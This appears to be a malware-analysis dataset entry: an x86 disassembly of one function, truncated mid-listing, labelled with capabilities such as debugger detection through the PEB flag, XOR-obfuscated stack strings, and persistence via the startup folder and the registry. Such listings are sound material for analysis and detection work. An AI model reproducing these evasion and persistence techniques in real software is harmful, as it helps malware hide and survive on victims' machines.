Function at 0x483b70
Capabilities:
Authenticate hmac
Check for peb ntglobalflag flag
Contain obfuscated stackstrings
Copy file
Create process on windows
Create shortcut via ishelllink
Encode data using xor
Get common file path
Get number of processors
Get session user name
Get startup folder
Parse pe header
Set registry value
Write file to startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x551cec
push eax
mov dword fs:[0], esp
mov eax, 0x2e88
push ebx
call fcn.00434710
push esi
push edi
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 7
sub esp, 0x18
lea eax, [ebx + 8]
mov dword [ebp - 0x17c], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 8
lea eax, [ebp - 0x2220]
push eax
mov byte [ebp - 4], 7
call fcn.0048cab0
mov byte [ebp - 4], 9
lea ecx, [ebx + 8]
push eax
call fcn.004162c0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2220]
call fcn.00402df0
cmp byte [0x586358], 2
jne 0x48c180
lea eax, [ebp - 0x150]
mov ecx, 0x586358
push eax
call fcn.00413830
lea eax, [ebp - 0x3c]
push eax
call fcn.004137c0
mov esi, dword [ebp - 0x150]
cmp esi, dword [ebp - 0x3c]
jne 0x48c39a
movzx eax, byte [esi]
sub eax, 1
je 0x483c53
sub eax, 1
je 0x483c48
mov eax, dword [ebp - 0x144]
cmp eax, dword [ebp - 0x30]
jmp 0x483c5c
mov eax, dword [ebp - 0x148]
cmp eax, dword [ebp - 0x34]
jmp 0x483c5c
mov eax, dword [ebp - 0x14c]
cmp eax, dword [ebp - 0x38]
setne al
test al, al
je 0x48c180
lea ecx, [ebp - 0x150]
call fcn.00413200
mov dword [ebp - 0x360], 0xc7dfb0c1
mov esi, eax
mov dword [ebp - 0x35c], 0xf3a573b0
mov ecx, dword [ebp - 0x360]
mov edx, dword [ebp - 0x35c]
mov dword [ebp - 0xf40], ecx
mov dword [ebp - 0xf3c], edx
mov dword [ebp - 0x368], 0x61453c76
mov dword [ebp - 0x364], 0xa0df89f8
mov ecx, dword [ebp - 0x368]
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0xf38], ecx
mov dword [ebp - 0xf34], eax
mov dword [ebp - 0x370], 0xa980d4ad
mov dword [ebp - 0x36c], 0xf3c01ed1
mov eax, dword [ebp - 0x370]
mov ecx, dword [ebp - 0x36c]
mov dword [ebp - 0x1790], eax
mov dword [ebp - 0x378], 0x61453c76
mov dword [ebp - 0x178c], ecx
mov dword [ebp - 0x374], 0xa0df89f8
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 0x374]
movaps xmm1, xmmword [ebp - 0xf40]
mov dword [ebp - 0x1788], eax
lea eax, [ebp - 0xf40]
mov dword [ebp - 0x1784], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x1790]
push eax
movaps xmmword [ebp - 0xf40], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1d3c]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x380], 0xc4dfb0c1
mov dword [ebp - 0x37c], 0x80ab6cb0
mov eax, dword [ebp - 0x380]
mov ecx, dword [ebp - 0x37c]
mov dword [ebp - 0xf50], eax
mov dword [ebp - 0xf4c], ecx
mov dword [ebp - 0x388], 0x61453c76
mov dword [ebp - 0x384], 0xa0df89f8
mov eax, dword [ebp - 0x388]
mov ecx, dword [ebp - 0x384]
mov dword [ebp - 0xf48], eax
mov dword [ebp - 0xf44], ecx
mov dword [ebp - 0x390], 0xa980d4ad
mov dword [ebp - 0x38c], 0xf3c01ed1
mov eax, dword [ebp - 0x390]
mov ecx, dword [ebp - 0x38c]
mov dword [ebp - 0x17a0], eax
mov dword [ebp - 0x398], 0x61453c76
mov dword [ebp - 0x179c], ecx
mov dword [ebp - 0x394], 0xa0df89f8
mov eax, dword [ebp - 0x398]
mov ecx, dword [ebp - 0x394]
movaps xmm1, xmmword [ebp - 0xf50]
mov dword [ebp - 0x1798], eax
lea eax, [ebp - 0xf50]
mov dword [ebp - 0x1794], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x17a0]
push eax
movaps xmmword [ebp - 0xf50], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1e58]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x3a0], 0xcbdfb0c1
mov dword [ebp - 0x39c], 0x97ac77a4
mov eax, dword [ebp - 0x3a0]
mov ecx, dword [ebp - 0x39c]
mov dword [ebp - 0xf60], eax
mov dword [ebp - 0xf5c], ecx
mov dword [ebp - 0x3a8], 0x4285d18
mov dword [ebp - 0x3a4], 0xa0df89f8
mov eax, dword [ebp - 0x3a8]
mov ecx, dword [ebp - 0x3a4]
mov dword [ebp - 0xf58], eax
mov dword [ebp - 0xf54], ecx
mov dword [ebp - 0x3b0], 0xa980d4ad
mov dword [ebp - 0x3ac], 0xf3c01ed1
mov eax, dword [ebp - 0x3b0]
mov ecx, dword [ebp - 0x3ac]
mov dword [ebp - 0x17b0], eax
mov dword [ebp - 0x3b8], 0x61453c76
mov dword [ebp - 0x17ac], ecx
mov dword [ebp - 0x3b4], 0xa0df89f8
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x3b4]
movaps xmm1, xmmword [ebp - 0xf60]
mov dword [ebp - 0x17a8], eax
lea eax, [ebp - 0xf60]
mov dword [ebp - 0x17a4], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x17b0]
push eax
movaps xmmword [ebp - 0xf60], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1de0]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x3c0], 0xcedfb0c1
mov dword [ebp - 0x3bc], 0xf3c071b4
mov eax, dword [ebp - 0x3c0]
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0xf70], eax
mov dword [ebp - 0xf6c], ecx
mov dword [ebp - 0x3c8], 0x61453c76
mov dword [ebp - 0x3c4], 0xa0df89f8
mov eax, dword [ebp - 0x3c8]
mov ecx, dword [ebp - 0x3c4]
mov dword [ebp - 0xf68], eax
mov dword [ebp - 0xf64], ecx
mov dword [ebp - 0x3d0], 0xa980d4ad
mov dword [ebp - 0x3cc], 0xf3c01ed1
mov eax, dword [ebp - 0x3d0]
mov ecx, dword [ebp - 0x3cc]
mov dword [ebp - 0x17c0], eax
mov dword [ebp - 0x3d8], 0x61453c76
mov dword [ebp - 0x17bc], ecx
mov dword [ebp - 0x3d4], 0xa0df89f8
mov eax, dword [ebp - 0x3d8]
mov ecx, dword [ebp - 0x3d4]
movaps xmm1, xmmword [ebp - 0xf70]
mov dword [ebp - 0x17b8], eax
lea eax, [ebp - 0xf70]
mov dword [ebp - 0x17b4], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x17c0]
push eax
movaps xmmword [ebp - 0xf70], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x13d4]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x3e0], 0xdcdfb0c1
mov dword [ebp - 0x3dc], 0xf3c072a3
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp - 0xf80], eax
mov dword [ebp - 0xf7c], ecx
mov dword [ebp - 0x3e8], 0x61453c76
mov dword [ebp - 0x3e4], 0xa0df89f8
mov eax, dword [ebp - 0x3e8]
mov ecx, dword [ebp - 0x3e4]
mov dword [ebp - 0xf78], eax
mov dword [ebp - 0xf74], ecx
mov dword [ebp - 0x3f0], 0xa980d4ad
mov dword [ebp - 0x3ec], 0xf3c01ed1
mov eax, dword [ebp - 0x3f0]
mov ecx, dword [ebp - 0x3ec]
mov dword [ebp - 0x17d0], eax
mov dword [ebp - 0x3f8], 0x61453c76
mov dword [ebp - 0x17cc], ecx
mov dword [ebp - 0x3f4], 0xa0df89f8
mov eax, dword [ebp - 0x3f8]
mov ecx, dword [ebp - 0x3f4]
movaps xmm1, xmmword [ebp - 0xf80]
mov dword [ebp - 0x17c8], eax
lea eax, [ebp - 0xf80]
mov dword [ebp - 0x17c4], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x17d0]
push eax
movaps xmmword [ebp - 0xf80], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1d24]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x400], 0xc8dfb0c1
mov dword [ebp - 0x3fc], 0x81af6aa4
mov eax, dword [ebp - 0x400]
mov ecx, dword [ebp - 0x3fc]
mov dword [ebp - 0x1400], eax
mov dword [ebp - 0x13fc], ecx
mov dword [ebp - 0x408], 0x131a5203
mov dword [ebp - 0x404], 0xd3b6ee9d
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 0x404]
mov dword [ebp - 0x13f8], eax
mov dword [ebp - 0x13f4], ecx
mov dword [ebp - 0x410], 0x99be4a93
mov dword [ebp - 0x40c], 0x1b8ae46f
mov eax, dword [ebp - 0x410]
mov ecx, dword [ebp - 0x40c]
mov dword [ebp - 0x13f0], eax
mov dword [ebp - 0x13ec], ecx
mov dword [ebp - 0x418], 0x23d873d8
mov dword [ebp - 0x414], 0xaff386e6
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 0x414]
mov dword [ebp - 0x13e8], eax
mov dword [ebp - 0x13e4], ecx
mov dword [ebp - 0x420], 0xa980d4ad
mov dword [ebp - 0x41c], 0xf3c01ed1
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x41c]
mov dword [ebp - 0x428], 0x61453c76
mov dword [ebp - 0x424], 0xa0df89f8
mov dword [ebp - 0x1ac0], eax
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x1abc], ecx
mov ecx, dword [ebp - 0x424]
mov dword [ebp - 0x430], 0x99c738e7
mov dword [ebp - 0x42c], 0x1b8ae46f
mov dword [ebp - 0x1ab8], eax
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x1ab4], ecx
mov ecx, dword [ebp - 0x42c]
mov dword [ebp - 0x438], 0x23d873d8
mov dword [ebp - 0x1ab0], eax
mov dword [ebp - 0x434], 0xaff386e6
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x1aac], ecx
mov ecx, dword [ebp - 0x434]
movaps xmm1, xmmword [ebp - 0x1400]
xorps xmm1, xmmword [ebp - 0x1ac0]
movaps xmmword [ebp - 0x1400], xmm1
movaps xmm1, xmmword [ebp - 0x13f0]
mov dword [ebp - 0x1aa8], eax
lea eax, [ebp - 0x1400]
mov dword [ebp - 0x1aa4], ecx
xorps xmm1, xmmword [ebp - 0x1ab0]
movaps xmmword [ebp - 0x13f0], xmm1
push eax
mov ecx, esi
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov dword [ebp - 0x440], 0xc8dfb0c1
mov dword [ebp - 0x43c], 0x81af6aa4
mov ecx, dword [ebp - 0x440]
mov edx, dword [ebp - 0x43c]
mov dword [ebp - 0x1420], ecx
mov dword [ebp - 0x141c], edx
mov dword [ebp - 0x448], 0x121a5203
mov dword [ebp - 0x444], 0xc4bae19b
mov ecx, dword [ebp - 0x448]
mov byte [ebp - 0x45], al
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x1418], ecx
mov dword [ebp - 0x1414], eax
mov dword [ebp - 0x450], 0xeba25492
mov dword [ebp - 0x44c], 0x1b8ae46f
mov eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 0x44c]
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], ecx
mov dword [ebp - 0x458], 0x23d873d8
mov dword [ebp - 0x454], 0xaff386e6
mov eax, dword [ebp - 0x458]
mov ecx, dword [ebp - 0x454]
mov dword [ebp - 0x1408], eax
mov dword [ebp - 0x1404], ecx
mov dword [ebp - 0x460], 0xa980d4ad
mov dword [ebp - 0x45c], 0xf3c01ed1
mov eax, dword [ebp - 0x460]
mov ecx, dword [ebp - 0x45c]
mov dword [ebp - 0x468], 0x61453c76
mov dword [ebp - 0x464], 0xa0df89f8
mov dword [ebp - 0x1ae0], eax
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0x1adc], ecx
mov ecx, dword [ebp - 0x464]
mov dword [ebp - 0x470], 0x99c738e7
mov dword [ebp - 0x46c], 0x1b8ae46f
mov dword [ebp - 0x1ad8], eax
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0x1ad4], ecx
mov ecx, dword [ebp - 0x46c]
mov dword [ebp - 0x1ad0], eax
mov dword [ebp - 0x478], 0x23d873d8
mov dword [ebp - 0x1acc], ecx
mov dword [ebp - 0x474], 0xaff386e6
mov eax, dword [ebp - 0x478]
mov ecx, dword [ebp - 0x474]
movaps xmm1, xmmword [ebp - 0x1420]
xorps xmm1, xmmword [ebp - 0x1ae0]
movaps xmmword [ebp - 0x1420], xmm1
movaps xmm1, xmmword [ebp - 0x1410]
mov dword [ebp - 0x1ac8], eax
lea eax, [ebp - 0x1420]
mov dword [ebp - 0x1ac4], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x1ad0]
push eax
movaps xmmword [ebp - 0x1410], xmm1
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov dword [ebp - 0x480], 0xc8dfb0c1
mov dword [ebp - 0x47c], 0x81af6aa4
mov ecx, dword [ebp - 0x480]
mov edx, dword [ebp - 0x47c]
mov dword [ebp - 0x1440], ecx
mov dword [ebp - 0x143c], edx
mov dword [ebp - 0x488], 0x121a5203
mov dword [ebp - 0x484], 0xccb3ec90
mov ecx, dword [ebp - 0x488]
mov byte [ebp - 0x47], al
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x1438], ecx
mov dword [ebp - 0x1434], eax
mov dword [ebp - 0x490], 0x99c738e7
mov dword [ebp - 0x48c], 0x1b8ae46f
mov eax, dword [ebp - 0x490]
mov ecx, dword [ebp - 0x48c]
mov dword [ebp - 0x1430], eax
mov dword [ebp - 0x142c], ecx
mov dword [ebp - 0x498], 0x23d873d8
mov dword [ebp - 0x494], 0xaff386e6
mov eax, dword [ebp - 0x498]
mov ecx, dword [ebp - 0x494]
mov dword [ebp - 0x1428], eax
mov dword [ebp - 0x1424], ecx
mov dword [ebp - 0x4a0], 0xa980d4ad
mov dword [ebp - 0x49c], 0xf3c01ed1
mov eax, dword [ebp - 0x4a0]
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4a8], 0x61453c76
mov dword [ebp - 0x4a4], 0xa0df89f8
mov dword [ebp - 0x1b00], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x1afc], ecx
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x4b0], 0x99c738e7
mov dword [ebp - 0x4ac], 0x1b8ae46f
mov dword [ebp - 0x1af8], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x1af4], ecx
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x1af0], eax
mov dword [ebp - 0x4b8], 0x23d873d8
mov dword [ebp - 0x1aec], ecx
mov dword [ebp - 0x4b4], 0xaff386e6
mov eax, dword [ebp - 0x4b8]
mov ecx, dword [ebp - 0x4b4]
movaps xmm1, xmmword [ebp - 0x1440]
xorps xmm1, xmmword [ebp - 0x1b00]
movaps xmmword [ebp - 0x1440], xmm1
movaps xmm1, xmmword [ebp - 0x1430]
mov dword [ebp - 0x1ae8], eax
lea eax, [ebp - 0x1440]
mov dword [ebp - 0x1ae4], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x1af0]
push eax
movaps xmmword [ebp - 0x1430], xmm1
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
cmp dword [ebp - 0x1dd0], 0
mov byte [ebp - 0x46], al
jbe 0x484736
mov dword [ebp - 0x4c0], 0xa980d481
sub esp, 0x18
mov dword [ebp - 0x4bc], 0xf3c01ed1
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x4bc]
mov dword [ebp - 0xf90], ecx
mov dword [ebp - 0xf8c], edx
mov dword [ebp - 0x4c8], 0x61453c76
mov dword [ebp - 0x4c4], 0xa0df89f8
mov eax, dword [ebp - 0x4c8]
mov ecx, dword [ebp - 0x4c4]
mov dword [ebp - 0xf88], eax
mov dword [ebp - 0xf84], ecx
mov dword [ebp - 0x4d0], 0xa980d4ad
mov dword [ebp - 0x4cc], 0xf3c01ed1
mov eax, dword [ebp - 0x4d0]
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0x17e0], eax
mov dword [ebp - 0x4d8], 0x61453c76
mov dword [ebp - 0x17dc], ecx
mov dword [ebp - 0x4d4], 0xa0df89f8
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [ebp - 0x4d4]
movaps xmm1, xmmword [ebp - 0xf90]
mov dword [ebp - 0x17d8], eax
lea eax, [ebp - 0xf90]
mov dword [ebp - 0x17d4], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x17e0]
mov dword [ebp - 0x1d74], esp
push eax
movaps xmmword [ebp - 0xf90], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x10
sub esp, 0x18
lea eax, [ebp - 0x1de0]
mov dword [ebp - 0x1d78], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x11
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1374]
call fcn.004e3880
add esp, 0x30
mov byte [ebp - 4], 0x12
mov esi, dword [ebp - 0x1374]
mov edi, dword [ebp - 0x1370]
cmp esi, edi
je 0x484718
mov edx, esi
mov ecx, 0x5863dc
call fcn.0041af50
test al, al
jne 0x484727
add esi, 0x18
cmp esi, edi
jne 0x484701
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1374]
jmp 0x48c0db
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1374]
call fcn.004185d0
lea eax, [ebp - 0x1d7c]
push eax
lea ecx, [ebp - 0x13d4]
call fcn.004160e0
lea ecx, [ebp - 0x13d4]
mov edi, dword [eax]
lea eax, [ebp - 0x1d80]
push eax
call fcn.004160c0
lea ecx, [ebp - 0x13d4]
mov esi, dword [eax]
lea eax, [ebp - 0x1d84]
push eax
call fcn.004160e0
push edi
push esi
lea ecx, [ebp - 0x1d88]
push dword [eax]
call fcn.0041ba70
mov dword [ebp - 0xd8], 0xa980d48d
add esp, 0xc
mov dword [ebp - 0xd4], 0xf3c01ed1
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x120], eax
mov dword [ebp - 0xe0], 0x61453c76
mov dword [ebp - 0xdc], 0xa0df89f8
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0xe8], 0xa980d4ad
mov dword [ebp - 0xe4], 0xf3c01ed1
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0xf0], 0x61453c76
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0xec], 0xa0df89f8
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
movaps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0x254], ecx
lea ecx, [ebp - 0x13d4]
mov dword [ebp - 0x258], eax
xorps xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x120], xmm1
call fcn.00416090
lea ecx, [ebp - 0x120]
push ecx
push eax
call fcn.00434e50
add esp, 8
test eax, eax
je 0x484a80
nop word [eax + eax]
push 0x5629da
lea ecx, [ebp - 0x1f50]
call fcn.00402cf0
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x4e0], 0xa980d48d
mov dword [ebp - 0x4dc], 0xf3c01ed1
mov eax, dword [ebp - 0x4e0]
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0xfa0], eax
mov dword [ebp - 0xf9c], ecx
mov dword [ebp - 0x4e8], 0x61453c76
mov dword [ebp - 0x4e4], 0xa0df89f8
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0xf98], eax
mov dword [ebp - 0xf94], ecx
mov dword [ebp - 0x4f0], 0xa980d4ad
mov dword [ebp - 0x4ec], 0xf3c01ed1
mov eax, dword [ebp - 0x4f0]
mov ecx, dword [ebp - 0x4ec]
mov dword [ebp - 0x17f0], eax
mov dword [ebp - 0x4f8], 0x61453c76
mov dword [ebp - 0x17ec], ecx
mov dword [ebp - 0x4f4], 0xa0df89f8
mov eax, dword [ebp - 0x4f8]
mov ecx, dword [ebp - 0x4f4]
movaps xmm1, xmmword [ebp - 0xfa0]
mov dword [ebp - 0x17e8], eax
lea eax, [ebp - 0xfa0]
mov dword [ebp - 0x17e4], ecx
lea ecx, [ebp - 0x1f38]
xorps xmm1, xmmword [ebp - 0x17f0]
push eax
movaps xmmword [ebp - 0xfa0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x1f50]
push eax
lea edx, [ebp - 0x1f38]
lea ecx, [ebp - 0x13d4]
call fcn.004e3820
add esp, 4
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1f38]
call fcn.00402df0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1f50]
call fcn.00402df0
mov dword [ebp - 0xd8], 0xa980d48d
mov dword [ebp - 0xd4], 0xf3c01ed1
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x120], eax
mov dword [ebp - 0xe0], 0x61453c76
mov dword [ebp - 0xdc], 0xa0df89f8
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0xe8], 0xa980d4ad
mov dword [ebp - 0xe4], 0xf3c01ed1
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0xf0], 0x61453c76
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0xec], 0xa0df89f8
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
movaps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0x254], ecx
lea ecx, [ebp - 0x13d4]
mov dword [ebp - 0x258], eax
xorps xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x120], xmm1
call fcn.00416090
lea ecx, [ebp - 0x120]
push ecx
push eax
call fcn.00434e50
add esp, 8
test eax, eax
jne 0x484870
mov dword [ebp - 0x500], 0xa980d481
sub esp, 0x18
mov dword [ebp - 0x4fc], 0xf3c01ed1
mov eax, dword [ebp - 0x500]
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xfb0], eax
mov dword [ebp - 0xfac], ecx
mov dword [ebp - 0x508], 0x61453c76
mov dword [ebp - 0x504], 0xa0df89f8
mov eax, dword [ebp - 0x508]
mov ecx, dword [ebp - 0x504]
mov dword [ebp - 0xfa8], eax
mov dword [ebp - 0xfa4], ecx
mov dword [ebp - 0x510], 0xa980d4ad
mov dword [ebp - 0x50c], 0xf3c01ed1
mov eax, dword [ebp - 0x510]
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x1800], eax
mov dword [ebp - 0x518], 0x61453c76
mov dword [ebp - 0x17fc], ecx
mov dword [ebp - 0x514], 0xa0df89f8
mov eax, dword [ebp - 0x518]
mov ecx, dword [ebp - 0x514]
movaps xmm1, xmmword [ebp - 0xfb0]
mov dword [ebp - 0x17f8], eax
lea eax, [ebp - 0xfb0]
mov dword [ebp - 0x17f4], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x1800]
mov dword [ebp - 0x1d8c], esp
push eax
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0xfb0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x15
sub esp, 0x18
lea eax, [ebp - 0x13d4]
mov dword [ebp - 0x1d90], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x16
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x13a4]
call fcn.004e3880
add esp, 0x30
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x13a4]
xor esi, esi
call fcn.00415220
mov edi, eax
test edi, edi
je 0x484bd3
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x13a4]
call fcn.00415200
lea edx, [ebx + 8]
mov ecx, eax
call fcn.0041af50
test al, al
jne 0x484d89
inc esi
cmp esi, edi
jb 0x484bb0
mov dl, byte [ebp - 0x11]
lea ecx, [ebp - 0x13a4]
call fcn.00415220
test eax, eax
je 0x484bed
test dl, dl
je 0x48c0d1
mov dword [ebp - 0x520], 0xa980d481
sub esp, 0x18
mov dword [ebp - 0x51c], 0xf3c01ed1
mov eax, dword [ebp - 0x520]
mov ecx, dword [ebp - 0x51c]
mov dword [ebp - 0xfc0], eax
mov dword [ebp - 0xfbc], ecx
mov dword [ebp - 0x528], 0x61453c76
mov dword [ebp - 0x524], 0xa0df89f8
mov eax, dword [ebp - 0x528]
mov ecx, dword [ebp - 0x524]
mov dword [ebp - 0xfb8], eax
mov dword [ebp - 0xfb4], ecx
mov dword [ebp - 0x530], 0xa980d4ad
mov dword [ebp - 0x52c], 0xf3c01ed1
mov eax, dword [ebp - 0x530]
mov ecx, dword [ebp - 0x52c]
mov dword [ebp - 0x1810], eax
mov dword [ebp - 0x538], 0x61453c76
mov dword [ebp - 0x180c], ecx
mov dword [ebp - 0x534], 0xa0df89f8
mov eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x534]
movaps xmm1, xmmword [ebp - 0xfc0]
mov dword [ebp - 0x1808], eax
lea eax, [ebp - 0xfc0]
mov dword [ebp - 0x1804], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x1810]
mov dword [ebp - 0x1d94], esp
push eax
mov byte [ebp - 0x1c], 0
movaps xmmword [ebp - 0xfc0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x18
sub esp, 0x18
lea eax, [ebp - 0x1e58]
mov dword [ebp - 0x1d98], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x19
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2fc]
call fcn.004e3880
add esp, 0x30
mov byte [ebp - 4], 0x1a
xor esi, esi
mov edx, dword [ebp - 0x2f8]
mov eax, edx
mov ecx, dword [ebp - 0x2fc]
sub eax, ecx
sar eax, 3
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0x1a4], esi
test eax, eax
je 0x488191
nop dword [eax + eax]
sub esp, 0x18
lea eax, [esi + esi*2]
mov esi, esp
mov dword [ebp - 0x1c88], esp
xorps xmm0, xmm0
lea eax, [ecx + eax*8]
mov dword [ebp - 0x24], eax
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp dword [eax + 0x14], 0xf
mov edi, dword [eax + 0x10]
jbe 0x484d66
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
cmp edi, 0x7fffffff
ja 0x48c8a2
cmp edi, 0xf
ja 0x484d90
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
jmp 0x484dd1
mov dl, 1
jmp 0x484bd6
push closesocket
push 0xf
push edi
call fcn.004030d0
add esp, 0xc
mov dword [ebp - 0x154], eax
lea eax, [ebp - 0x154]
push eax
push esi
call fcn.004032d0
mov ecx, dword [ebp - 0x154]
mov dword [esi], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], ecx
lea ecx, [edi + 1]
push ecx
push dword [ebp - 0x24]
push eax
call fcn.00435260
add esp, 0x14
mov byte [ebp - 4], 0x1b
sub esp, 0x10
lea eax, [ebx + 0x20]
mov dword [ebp - 0x1c8c], esp
mov ecx, esp
push eax
call fcn.00413d50
mov byte [ebp - 4], 0x1c
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x270]
call fcn.004d44a0
add esp, 0x28
mov byte [ebp - 4], 0x1d
xorps xmm0, xmm0
mov byte [ebp - 0xfd0], 0
movq qword [ebp - 0xfc8], xmm0
mov byte [ebp - 0xfd0], 5
movlpd qword [ebp - 0xfc8], xmm0
mov byte [ebp - 4], 0x1e
lea edx, [ebp - 0xfd0]
lea ecx, [ebp - 0x270]
call fcn.0041f7b0
mov byte [ebp - 0x11], al
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0xfc8]
push dword [ebp - 0xfd0]
call fcn.00417af0
cmp byte [ebp - 0x11], 0
jne 0x48814e
mov dword [ebp - 0x540], 0xc2f2b5c0
mov dword [ebp - 0x53c], 0x96a87d8e
mov eax, dword [ebp - 0x540]
mov ecx, dword [ebp - 0x53c]
mov dword [ebp - 0x1460], eax
mov dword [ebp - 0x145c], ecx
mov dword [ebp - 0x548], 0x21a5715
mov dword [ebp - 0x544], 0xc9b4e697
mov eax, dword [ebp - 0x548]
mov ecx, dword [ebp - 0x544]
mov dword [ebp - 0x1458], eax
mov dword [ebp - 0x1454], ecx
mov dword [ebp - 0x550], 0x99c74b82
mov dword [ebp - 0x54c], 0x1b8ae46f
mov eax, dword [ebp - 0x550]
mov ecx, dword [ebp - 0x54c]
mov dword [ebp - 0x1450], eax
mov dword [ebp - 0x144c], ecx
